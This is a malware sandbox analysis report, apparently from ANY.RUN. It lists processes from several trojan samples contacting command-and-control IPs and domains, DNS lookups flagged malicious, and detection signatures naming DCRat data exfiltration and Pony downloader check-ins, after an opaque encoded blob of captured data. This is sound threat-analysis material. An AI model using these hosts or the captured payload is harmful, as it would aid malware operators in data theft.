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
RU
text
104 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1908
Opus.exe
172.98.92.42:58491
—
Total Server Solutions L.L.C.
US
malicious
4036
a.exe
185.82.202.246:81
yabynennet.xyz
Host Sailor Ltd.
NL
malicious
772
0fd7de5367376231a788872005d7ed4f.exe
54.91.59.199:80
api.ipify.org
Amazon.com, Inc.
US
malicious
3156
22.exe
222.99.11.146:80
22ssh.com
Korea Telecom
KR
malicious
772
0fd7de5367376231a788872005d7ed4f.exe
80.87.192.115:80
—
JSC ISPsystem
RU
malicious
2264
HD____11.19.exe
59.56.110.231:8898
—
Fuzhou
CN
unknown
2892
test.exe
179.13.1.253:8050
gfhhjgh.duckdns.org
EPM Telecomunicaciones S.A. E.S.P.
CO
malicious
2884
8f1c8b40c7be588389a8d382040b23bb.exe
194.180.174.53:80
—
—
DE
malicious
3816
mediaget.exe
37.201.193.214:1470
kazya1.hopto.org
Liberty Global Operations B.V.
DE
malicious
2092
gay.exe
92.63.107.12:80
—
JSC ISPsystem
RU
malicious

DNS requests

Domain
IP
Reputation
pretorian.ac.ug
  • —
malicious
prepepe.ac.ug
  • —
malicious
whatismyipaddress.com
  • 104.16.155.36
  • 104.16.154.36
shared
yabynennet.xyz
  • 185.82.202.246
malicious
22ssh.com
  • 222.99.11.146
malicious
api.ipify.org
  • 54.91.59.199
  • 52.20.78.240
  • 3.232.242.170
  • 3.220.57.224
shared
hackerinvasion.f3322.net
  • 127.0.0.1
malicious
gfhhjgh.duckdns.org
  • 179.13.1.253
malicious
api.ip.sb
  • 172.67.75.172
  • 104.26.12.31
  • 104.26.13.31
whitelisted
kazya1.hopto.org
  • 37.201.193.214
malicious

Threats

PID
Process
Class
Message
2368
Pluto Panel.exe
Potential Corporate Privacy Violation
ET POLICY Known External IP Lookup Service Domain in SNI
2368
Pluto Panel.exe
Potential Corporate Privacy Violation
ET POLICY Known External IP Lookup Service Domain in SNI
772
0fd7de5367376231a788872005d7ed4f.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup (ipify .org)
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
2092
gay.exe
A Network Trojan was detected
ET TROJAN DCRAT Activity (GET)
—
—
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.hopto .org
2092
gay.exe
A Network Trojan was detected
ET TROJAN Win32/DCRat CnC Exfil
3740
aaa.exe
A Network Trojan was detected
ET TROJAN Fareit/Pony Downloader Checkin 2
3740
aaa.exe
Potential Corporate Privacy Violation
ET POLICY Windows 98 User-Agent Detected - Possible Malware or Non-Updated System
3740
aaa.exe
A Network Trojan was detected
ET TROJAN Pony Downloader HTTP Library MSIE 5 Win98
69 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
RIP_YOUR_PC_LOL.exe